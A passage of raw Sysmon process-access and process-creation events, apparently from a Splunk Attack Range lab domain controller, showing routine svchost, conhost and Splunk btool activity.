AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.188\r\nProcessGuid: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nProcessId: 3832\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nParentProcessId: 3820\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.188","ProcessGuid":"{90617006-3FE5-5F2D-0000-00101DCD0200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001057CC0200}","ParentProcessId":"3820","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nSourceProcessId: 3820\r\nSourceThreadId: 3824\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","SourceProcessId":"3820","SourceThreadId":"3824","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 